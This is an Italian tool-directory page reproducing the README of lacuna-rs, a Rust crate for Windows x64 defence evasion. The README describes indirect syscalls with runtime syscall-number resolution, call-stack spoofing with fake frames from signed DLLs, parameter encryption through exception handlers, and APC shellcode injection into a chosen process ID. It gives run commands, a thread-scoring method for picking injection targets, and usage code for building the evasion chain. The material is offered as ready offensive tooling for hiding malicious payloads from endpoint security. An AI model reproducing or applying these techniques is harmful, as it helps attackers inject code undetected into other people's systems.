Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
lacuna-rs — Crate Rust per ghost-frame call-stack spoofing, runtime indirect syscalls e APC injection su Windows x64. Fornisce risoluzione SSN, emissione di stub JIT e crittografia dei parametri basata su VEH per evasione di EDR. | Kitploit
Strumenti/GitHubGitHub/karkas66/lacuna-rs
ShellcodePost-ExploitRed TeamingSviluppo PayloadBinary Exploitation
GitHubkarkas66/lacuna-rs

lacuna-rs

Crate Rust per ghost-frame call-stack spoofing, runtime indirect syscalls e APC injection su Windows x64. Fornisce risoluzione SSN, emissione di stub JIT e crittografia dei parametri basata su VEH per evasione di EDR.

Vedi Repository
181633 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

lacuna-rs

Ghost-frame call-stack spoofing + chiamate di sistema indirette runtime per Windows x64 — portato in Rust.

Portato da LACUNA Chain (lacuna_chain.c) di Mohamed Alzhrani (0xmaz).

lacuna-rs è un crate Rust riutilizzabile che fornisce le stesse primitive del C TTP originale, strutturato per poter essere inserito in qualsiasi progetto Rust — come wsyscall-rs o syscalls-rs, ma con risoluzione runtime degli SSN, targeting syscall;ret per funzione e spoofing dello stack con ghost-frame.


Critico: Requisito del Frame Pointer

La funzionalità stack-spoof fallirà silenziosamente se il crate consumatore non è compilato con frame pointer.

Le primitive di stomping dello stack in chain.rs localizzano lo slot dell'indirizzo di ritorno del chiamante tramite assembly inline mov rbp, {x}. Ciò richiede che la catena RBP sia intatta. Rust (e la maggior parte dei compilatori in modalità release) omette i frame pointer di default.

build.rs imposta force-frame-pointers=yes per il codice di questo crate, ma Cargo non può propagare i flag del compilatore ai crate downstream. Devi aggiungere questo al tuo progetto:

# .cargo/config.toml  (nel TUO crate, non in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Senza questo, stomp_plant() leggerà dati spazzatura da RBP e o non farà nulla (caso migliore) o corromperà lo stack (caso peggiore). Il crate non ha modo di rilevare a runtime se i frame pointer sono abilitati — semplicemente non funzionerà.

Se hai bisogno solo delle primitive di scansione, risoluzione SSN o iniezione (senza spoofing dello stack), puoi omettere la funzionalità stack-spoof e questo requisito non si applica.


Cosa fa

PrimitivaFunzione CModulo Rust
Analisi sezioni PE ed exportpe_section(), pe_export()pe
Scansione regione ghost .pdatascan_ghosts(), best_ghost()scan
Scoperta gadget ghost (jmp [rbx])scan_ghost_gadgets()scan
Ricerca gap NOP in win32uwin32u_nop_gap()scan
Ricerca anchor BYOUD-MFfind_mf_target()scan
Risoluzione SSN (Hell's Gate / Halo's Gate)resolve_ssn()nt
Localizzazione syscall;ret per funzionefind_func_syscall()nt
Emissione stub syscall indiretta JITalloc_stub()stub
Reindirizzamento stub tramite gadget ghost(in alloc_stub())stub
Crittografia parametri VEH + hardware breakpointparam_encrypt_veh(), pcrypt_arm()veh
VEH di guardia della catenachain_veh()veh
Costruzione catena LACUNAbuild_chain()chain
Stomp dello stack (BYOUD-RT)stomp_plant(), stomp_restore()chain
Camminatore catena (verifica)lacuna_walk_chain()chain
Iniezione APC basata su sezionedo_inject_sapc()inject

Flag delle funzionalità

[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
FunzionalitàDescrizioneRichiede frame pointer?
syscalls (default)Risoluzione SSN + emissione stub JITNo
inject (default)Iniezione APC basata su sezione (inject::inject_sapc)No
vehVEH + crittografia parametri hardware breakpointNo
stack-spoofCatena ghost-frame LACUNA + stomp dello stackSì
no-stdModalità no_std (sperimentale)No

Quando nessuna funzionalità è abilitata, sono disponibili solo i livelli di scansione/PE/NT.


Avvio rapido

Scansione per regioni ghost

cargo run --example scan

Costruzione + verifica della catena ghost-frame

cargo run --example verify --features stack-spoof

Iniezione di shellcode tramite sezione + APC

Prova di iniezione Esempio di iniezione con implant reale - C2 era offline ma lo shellcode è stato eseguito

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Aggiungi --verbose per abilitare l'output diagnostico VEH (dump dello stack, stampa dei registri):

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Algoritmo di punteggio dei thread

Invece di accodare APC a ogni thread nel processo target (cosa che potrebbe causare il crash del processo quando troppi thread vengono allertati simultaneamente), inject_sapc utilizza un algoritmo di punteggio per selezionare i migliori MAX_APC_THREADS (5) candidati:

  • Tempo di ciclo — NtQueryInformationThread(ThreadCycleTime) — indicatore principale di attività
  • Tempo CPU — NtQueryInformationThread(ThreadTimes) — tempo kernel + utente
  • Conteggio sospensione — NtQueryInformationThread(ThreadSuspendCount) — i thread non sospesi ottengono un bonus di +300; i thread sospesi ottengono -150 per ogni conteggio di sospensione
  • Priorità — NtQueryInformationThread(ThreadBasicInformation) — i thread con priorità 8-10 ottengono un bonus di +150; le priorità fuori intervallo ricevono una penalità di -100

I thread completamente inattivi (zero cicli e zero tempo CPU) vengono saltati del tutto. I candidati rimanenti vengono ordinati per punteggio (dal più alto al più basso, con spareggio sui cicli) e troncati ai primi 5.


Utilizzo come libreria

Base: scansione + risoluzione SSN

use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Scansiona per regioni ghost
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} regioni ghost in ntdll", n);

// Risolvi SSN + syscall;ret per una funzione specifica
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Emetti uno stub di syscall indiretta per qualsiasi API NT

use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// Risolvi SSN + indirizzo del syscall;ret della funzione
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// Emetti stub JIT: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (o jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret se build_chain è stato chiamato)
let stub = stub::make_stub(ssn, syscall_ret).expect("allocazione stub fallita");

// Cast al tipo di puntatore a funzione corrispondente e chiama
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Costruisci la catena ghost-frame + registra VEH

// Scansiona ntdll/kernelbase/wow64/win32u per regioni ghost e costruisci
// lo stack falso a sei livelli. Imposta G_GHOST_GADGET in modo che gli stub
// vengano instradati tramite JMP [RBX] in una DLL firmata.
lacuna::chain::build_chain();

// Registra i gestori VEH (crittografia parametri + guardia della catena)
let _veh = lacuna::veh::VehGuard::register().expect("Registrazione VEH fallita");

// Opzionale: abilita la diagnostica verbose a runtime
lacuna::veh::set_verbose(true);

Avvolgi una syscall sensibile con spoofing dello stack + crittografia parametri

use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// Pianta ghost frame (sostituisce gli indirizzi di ritorno con ghost di DLL firmate)
lacuna::chain::stomp_plant();

// Arma DR0 sul syscall;ret -- VEH decritterà XOR i parametri al confine
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
Scarica lo strumento